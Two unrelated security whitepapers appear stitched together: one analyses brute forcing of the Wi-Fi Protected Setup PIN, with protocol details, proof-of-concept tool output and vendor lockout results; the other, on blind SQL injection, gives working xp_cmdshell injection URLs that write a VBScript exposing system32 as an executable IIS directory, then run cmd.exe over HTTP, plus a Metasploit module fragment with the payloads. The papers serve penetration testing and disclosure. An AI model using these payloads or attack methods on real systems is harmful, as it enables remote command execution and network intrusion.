Brute Force Attacks Wifi Protected Setup

Brute forcing Wi-Fi Protected Setup

When poor design meets poor implementation.

Introduction

“Wi-Fi Protected Setup™ is an optional certification program from the Wi-Fi Alliance that is designed to ease the task of setting up and configuring security on wireless local area networks. Introduced by the Wi-Fi Alliance in early 2007, the program provides an industry-wide set of network setup solutions for homes and small office (SOHO) environments.

Wi-Fi Protected Setup enables typical users who possess little understanding of traditional Wi-Fi configuration and security settings to automatically configure new wireless networks, add new devices and enable security. More than 200 products have been Wi-Fi CERTIFIED™ for Wi-Fi Protected Setup since the program was launced (sic!) in January 2007.”1

The Wi-Fi Simple Configuration Specification (WSC) is the underlying technology for the Wi-Fi Protected Setup certification.

Almost all major vendors (including Cisco/Linksys, Netgear, D-Link, Belkin, Buffalo, ZyXEL and Technicolor) have WPS-certified devices, other vendors (eg. TP-Link) ship devices with WPS-support which are not WPS-certified.

WPS is activated by default on all devices I had access to.

Although WPS is marketed as being a secure way of configuring a wireless device, there are design and implementation flaws which enable an attacker to gain access to an otherwise sufficiently secured wireless network.

Configuration Options Overview

WPS supports out-of-band configuration over Ethernet/UPnP (also NFC is mentioned in the specification) or in-band configuration over IEEE 802.11/EAP. Only in-band configuration will be covered in this paper.

Terminology2

• The enrollee is a new device that does not have the settings for the wireless network.

• The registrar provides wireless settings to the enrollee.

• The access point provides normal wireless network hosting and also proxies messages between the enrollee and the registrar.

1. http://www.wi-fi.org/wifi-protected-setup/

2. http://download.microsoft.com/download/a/f/7/af7777e5-7dcd-4800-8a0a-b18336565f5b/WCN-Netspec.doc

Push-Button-Connect (“PBC”)

The user has to push a button, either an actual or virtual one, on both the Access Point and the new wireless client device. PBC on the AP will only be active until authentication has succeeded or timeout after two minutes.

This Option is called wps_pbc in wpa_cli3 (text-based frontend program for interacting with wpa_supplicant).

Firgure 1: activated “virtual Push Button” (Windows acts as enrollee) (Windows 7)

Figure 2: Description of PBC option (Linksys WRT320N User Manual)

PIN

Internal Registrar

The user has to enter the PIN of the Wi-Fi adapter into the web interface of the access point. The PIN can either be printed on the label of the adapter or generated by software.

This option is called wps_pin in wpa_cli.

Figure 4: PIN field – Router is Registrar (LinksysWRT320N Web Interface)

Figure 3: Description of PIN internal Registrar option (Linksys WRT320N User Manual)

http://hostap.epitest.fi/wpa_supplicant/

External Registrar

The user has to enter the PIN of the access point into a form on the client device (eg. computer).

This option is called wps_reg in wpa_cli.

Figure 7: Label with WPS PIN on the back of a D-Link router

Design Flaw #1

Option / Authentication	Physical Access	Web Interface	PIN
Push-button-connect	X
PIN – Internal Registrar		X
PIN – External Registrar			X

WPS Options and which kind of authentication they actually use.

As the External Registrar option does not require any kind of authentication apart from providing the PIN, it is potentially vulnerable to brute force attacks.

Authentication (PIN – External Registrar)4

IEEE 802.11

		Supplicant → AP			Authentication Request
							802.11 Authentication
		Supplicant ← AP			Authentication Response
		Supplicant → AP			Association Request
							802.11 Association
		Supplicant ← AP			Association Response

IEEE 802.11/EAP

Supplicant → AP

EAPOL-Start

Supplicant ← AP

EAP-Request Identity

EAP Initiation

Supplicant → AP

EAP-Response Identity

(Identity: “WFA-SimpleConfig-Registrar-1-0”)

IEEE 802.11/EAP Expanded Type, Vendor ID: WFA (0x372A), Vendor Type: SimpleConfig (0x01)

M1

Enrollee → Registrar

N1

|| Description || PKE

Diffie-Hellman Key Exchange

M2

Enrollee ← Registrar

N1

|| N2 || Description || PKR || Authenticator

M3

Enrollee → Registrar

N2

|| E-Hash1 || E-Hash2 || Authenticator

M4

Enrollee ← Registrar

N1

|| R-Hash1 || R-Hash2 || EKeyWrapKey(R-S1) ||

proove posession of 1st half of PIN

Authenticator

M5

Enrollee → Registrar

N2

|| EKeyWrapKey(E-S1) || Authenticator

proove posession of 1st half of PIN

M6

Enrollee ← Registrar

N1

|| EKeyWrapKey(R-S2) || Authenticator

proove posession of 2nd half of PIN

M7

Enrollee → Registrar

N2

|| EKeyWrapKey(E-S2 ||ConfigData) || Authenticator

proove posession of 2nd half of PIN,

send AP configuration

M8

Enrollee ← Registrar

N1

|| EKeyWrapKey(ConfigData) || Authenticator

set AP configuration

Enrollee = AP

PSK1 = first 128 bits of HMACAuthKey(1st half of PIN)

Registrar = Supplicant = Client/Attacker

PSK2 = first 128 bits of HMACAuthKey(2nd half of PIN)

PKE = Diffie-Hellman Public Key Enrollee

E-S1 = 128 random bits

PKR = Diffie-Hellman Public Key Registrar

E-S2 = 128 random bits

Authkey and KeyWrapKey are derived from the Diffie-

E-Hash1 = HMACAuthKey(E-S1 || PSK1 || PKE || PKR)

Hellman shared key.

E-Hash2 = HMACAuthKey(E-S2 || PSK2 || PKE || PKR)

Authenticator = HMACAuthkey(last message || current

R-S1 = 128 random bits

message)

R-S2 = 128 random bits

EKeyWrapKey = Stuff encrypted with KeyWrapKey (AES-

R-Hash1 = HMACAuthKey(R-S1 || PSK1 || PKE || PKR)

R-Hash2 = HMACAuthKey(R-S2 || PSK2 || PKE || PKR)

CBC)

1

2

3

4

5

6

7

0

1st half of

checksum

PIN

2nd half of PIN

If the WPS-authentication fails at some point, the AP will send an EAP-NACK message.

4 based on http://download.microsoft.com/download/a/f/7/af7777e5-7dcd-4800-8a0a-b18336565f5b/WCN-Netspec.doc

Design flaw #2

An attacker can derive information about the correctness of parts the PIN from the AP´s responses.

• If the attacker receives an EAP-NACK message after sending M4, he knows that the 1st half of the PIN was incorrect.

• If the attacker receives an EAP-NACK message after sending M6, he knows that the 2nd half of the PIN was incorrect.

This form of authentication dramatically decreases the maximum possible authentication attempts needed from 108 (=100.000.000) to 104 + 104 (=20.000).

As the 8th digit of the PIN is always a checksum of digit one to digit seven, there are at most 104 + 103 (=11.000) attempts needed to find the correct PIN.

Brute Force Methodology

Figure 8: Flowchart showing how an optimized brute force attack works

Brute Force Implementation

A proof-of-concept brute force tool was implemented in Python. It uses the Scapy5 Library for decoding, generating, sending and receiving packets. This tool was used on several routers made by different vendors.

Sample output

sniffer started

trying 00000000

attempt took 0.95 seconds trying 00010009

attempt took 1.28 seconds trying 00020008

attempt took 1.03 seconds

<snip>
trying	18660005
attempt took			1.08		seconds
trying	18670004				# found 1st half of PIN
attempt took			1.09		seconds
trying	18670011
attempt took			1.08		seconds
trying	18670028
attempt took			1.17		seconds
trying	18670035
attempt took			1.12		seconds
<snip>
trying	18674071
attempt took			1.15		seconds
trying	18674088
attempt took			1.11		seconds
trying	18674095				# found 2nd half of PIN
E-S2:
0000	16	F6	82	CA A8 24 7E 98		85 4C BD A6 BE D9 14 50	.....$~..L.....P
SSID:
0000	74	70	2D	74 65 73 74			tp-test
MAC:
0000	F4	EC	38	CF AC 2C			..8..,
Auth Type:
0000	00	20					.
Encryption Type:
0000	00	08					..
Network Key:
0000	72	65	61	6C 6C 79 5F 72		65 61 6C 6C 79 5F 6C 6F	really_really_lo
0010	6E	67	5F	77 70 61 5F 70		61 73 73 70 68 72 61 73	ng_wpa_passphras
0020	65	5F	67	6F 6F 64 5F 6C		75 63 6B 5F 63 72 61 63	e_good_luck_crac
0030	6B	69	6E	67 5F 74 68 69		73 5F 6F 6E 65	king_this_one
Key Wrap Algorithm:
0000	76	3C	7A	87 0A 7D F7 E5			v<z..}..

5 http://www.secdev.org/projects/scapy/

Results

Authentication attempt duration

One authentication attempt usually took between 0.5 and 3 seconds to complete. It was observed that the calculation of the Diffie-Hellman Shared Key (needs to be done before generating M3) on the AP took a big part of the authentication time. This can be speeded up by choosing a very small DH Secret Number, thus generating a very small DH Public Key and making Shared Key calculation on the AP’s side easier.

Implementation Flaws

Some vendors did not implement any kind of blocking mechanism to prevent brute force attacks. This allows an attacker to try all possible PIN combinations in less than four hours (at 1.3 seconds/attempt).

On average an attack will succeed in half the time.

The Netgear device has lock down functionality implemented, but the lock down phases are not long enough to make an attack impractical. In this case an attack will on average succeed in less than a day (timing data can be found on the next page).

Vendor	Device Name	HW-Version		FW-Version	Lock down	WPS-
						certified
D-Link	DIR-655	A4	(Web Interface)	1.35	No	Yes
		A5	(Label)
Linksys	WRT320	1.0		1.0.04	?6	Yes
Netgear	WGR614v10	?		1.0.2.26	Yes	Yes
TP-Link	TL-WR1043ND	1.8		V1_110429	No	No

Firmware versions are up-to-date as of 18.10.2011.

In rare cases devices started to send malformed messages or their web interface and routing did not work properly anymore. A reboot was needed to solve the problem. This might be evidence of some kind of corruption, but was not investigated further.

6 WPS-functionality always stopped to work somewhere between 2 and 150 failed authentication attempts. The functionality did not even return after several hours. I would consider this a bug in the firmware which causes a DoS rather than lock-down functionality.

Mitigations

End users

Deactivate WPS. This may not always be possible.

Vendors

Introduce sufficiently long lock-down periods in order to make an attack impractical. Of course this requires a new firmware release.

Attempts	Lock	Attempts	Maximum	Maximum	Comment
before	down	per	attack time	attack time
lock	time	minute
11000	0 minutes	46.15	3.97 hours	0.17 days	no lock down
?7		4.20	43,65 hours	1,82 days	Netgear WGR614v10
3	1 minutes	2.82	65.08 hours	2.71 days	Requirement for WSC 2.0
15	60 minutes	0.25	737.31 hours	30.72 days
					Lock down configurations making
10	60 minutes	0.17	1103.97	46.00 days
					brute force less practical
5	60 minutes	0.08	2203.97	91.83 days

Assumed time per attempt: 1.3 seconds

Considering that an AP typically runs for several months, a determined attacker might still be able to successfully attack a WPS-enabled AP. This attack is low-cost and has a high success guarantee compared to cracking WPA/WPA2-PSK.

Conclusion

As nearly all major router/AP vendors have WPS-certified devices and WPS – PIN (External Registrar) is mandatory for certification, it is expected that a lot of devices are vulnerable to this kind of attack.

Having a sufficiently long lock-down period is most likely not a requirement for certification. However it might be a requirement in the (new) WSC Specification Version 28. I contacted the Wi-Fi Alliance about this – they have yet to respond.

Collaboration with vendors will be necessary for identifying all vulnerable devices. It is up to the vendors to implement mitigations and release new firmware.

Affected end-users will have to be informed about this vulnerability and advised to disable WPS or update their firmware to a more secure version (if available).

7. No consistent lock down pattern was found. However on average about 4.20 authentication attempts per minute were possible.

8. http://www.wi-fi.org/files/20110421_China_Symposia_full_merge.pdf

Blind SQL Injection Discovery and Exploitation technique

Blind SQL injection discovery & exploitation technique

by Shreeraj Shah

Abstract

This paper describes technique to deal with blind SQL injection spot with ASP/ASP.NET applications running with access to XP_CMDSHELL. It is possible to perform pen test against this scenario though not having any kind of reverse access or display of error message. It can be used in completely blind environment and successful execution can grant remote command execution on the target application with admin privileges.

Keywords

Blind SQL injection, SQL injection, XP_CMDSHELL

Author

Shreeraj Shah, Founder & Director, Blueinfy Solutions Pvt. Ltd.

Email : shreeraj@blueinfy.com

Blog : http://shreeraj.blogspot.com

Profile : http://www.linkedin.com/in/shreeraj

http://www.blueinfy.com

1 Blueinfy’s whitepaper series

Problem Domain:

While performing web application and penetration testing following scenario is very common and it hides potential exploitable SQL injection scenario:

1. We have SQL injection point but it is not throwing any error message out as part of its response. Application is sending customized error page which is not revealing any signature by which we can deduce potential SQL flaw.

2. Knowing SQL injection point or loophole in web application, xp_cmdshell seems to be working. But we can’t say is it working or not since it doesn’t return any meaningful signature. This is “blind xp_cmdshell”.
3. Firewall don’t allow outbound traffic so can’t do ftp, tftp, ping etc from the box to the Internet by which you can confirm execution of the command on the target system.
4. We don’t know the actual path to webroot so can’t copy file to location which can be accessed over HTTP or HTTPS later to confirm the execution of the command.

5. If we know path to webroot and directory structure but can’t find execute permission on it so can’t copy cmd.exe or any other binary and execute over HTTP/HTTPS.

Hence, it is becoming difficult to deal with this kind of situation and identify blind SQL injection spot. Let’s see one of the ways by which you can reach to cmd.exe and bring it out to the web and access over HTTP/HTTPS. This way you can confirm the existence of vulnerability on the target application.

Solution:

Here is a solution or test one can perform during penetration testing and check the existence of blind “xp_cmdshell”.

Step 1:

One can echo following lines to file and store it to a filesystem for example say secret.vbs using xp_cmdshell interface.

Set WshShell = WScript.CreateObject("WScript.Shell")

Set ObjExec = WshShell.Exec("cmd.exe /c echo %windir%") windir = ObjExec.StdOut.ReadLine()

Set Root = GetObject("IIS://LocalHost/W3SVC/1/ROOT") Set Dir = Root.Create("IIsWebVirtualDir", "secret") Dir.Path = windir

Dir.AccessExecute = True Dir.SetInfo

In this particular script we are identifying windir on the fly and setup a virtual root on it with exec permission. We are mapping windows directory and map it to virtual root “secret”, setting execute access on it as well. Following list of commands will create file

2 Blueinfy’s whitepaper series

on the server. Here is a way by which we can create file line by line and then execute script on the target machine as well.

http://target/details.asp?id=1;exec+master..xp_cmdshell+’echo ' Set WshShell = WScript.CreateObject("WScript.Shell") > c:\secret.vbs’

…..

…..

…..

http://target/details.asp?id=1;exec+master..xp_cmdshell+’echo ' Dir.SetInfo >> c:\secret.vbs’

Step 2:

Run this file using xp_cmdshell by following command. http://target/details.asp?id=1;exec+master..xp_cmdshell+'cscript+c:\secret.vbs’

This will run file and create /secret/ virtual root on the server.

Step 3:

Run command over HTTP/HTTPS

http://target/secret/system32/cmd.exe?+/c+set

Now we have full access to system32 binaries with execution privileges. Here what you get as output.

CGI Error

The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are:

ALLUSERSPROFILE=C:\Documents and Settings\All Users CommonProgramFiles=C:\Program Files\Common Files COMPUTERNAME=BLUESQUARE ComSpec=C:\WINNT\system32\cmd.exe

CONTENT_LENGTH=0 GATEWAY_INTERFACE=CGI/1.1 HTTPS=off

HTTP_ACCEPT=text/xml,application/xml,application/xhtml+xml,text/html;q= 0.9,text/plain;q=0.8,image/png,*/*;q=0.5 HTTP_ACCEPT_LANGUAGE=en-us,en;q=0.5

HTTP_CONNECTION=keep-alive HTTP_HOST=localhost

HTTP_USER_AGENT=Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.3) Gecko/20040910

HTTP_ACCEPT_ENCODING=gzip,deflate HTTP_ACCEPT_CHARSET=ISO-8859-1,utf-8;q=0.7,*;q=0.7 HTTP_KEEP_ALIVE=300

INCLUDE=C:\Program Files\Microsoft Visual Studio

.NET\FrameworkSDK\include\ INSTANCE_ID=1

LIB=C:\Program Files\Microsoft Visual Studio .NET\FrameworkSDK\Lib\ LOCAL_ADDR=127.0.0.1

NUMBER_OF_PROCES

3 Blueinfy’s whitepaper series

It is possible to integrate into any of the exploit framework as well. For example here is we are putting it into Metasploit:

sub Exploit {
my $self =	shift;
my $target_host			= $self->GetVar('RHOST');
my $target_port			= $self->GetVar('RPORT');
my $path			= $self->GetVar('RPATH');
my $vhost			= $self->GetVar('VHOST');

my @url = split(/#/, $path); my @payload =

("EXEC+master..xp_cmdshell+'echo+Set+WshShell+=+WScript.CreateObject(\"WScript.Shell\")>c:\\secret.vbs'", "EXEC+master..xp_cmdshell+'echo+Set+Root+=+GetObject(\"IIS://LocalHost/W3SVC/1/ROOT\")>>c:\\secret.vbs'", "EXEC+master..xp_cmdshell+'echo+Set+Dir+=+Root.Create(\"IIsWebVirtualDir\",\"secret\")>>c:\\secret.vb s'", "EXEC+master..xp_cmdshell+'echo+Dir.Path+=+\"c:\\winnt\\system32\\\">>c:\\secret.vbs'", "EXEC+master..xp_cmdshell+'echo+Dir.AccessExecute+=+True>>c:\\secret.vbs'", "EXEC+master..xp_cmdshell+'echo+Dir.SetInfo>>c:\\secret.vbs'", "EXEC+master..xp_cmdshell+'cscript+c:\\secret.vbs'"

);

$self->PrintLine("[+] Sending SQL injection payload..."); for(my $count=0;$count<=6;$count++)

..

..

Once we execute it we get following sort of output.

Conclusion:

The technique described in this paper can help in testing blind SQL injection running with blind xp_cmdshell. It is easy to send few requests and check whether we are getting execution rights on the target application or not, even application is totally blind as described in problem domain.

4 Blueinfy’s whitepaper series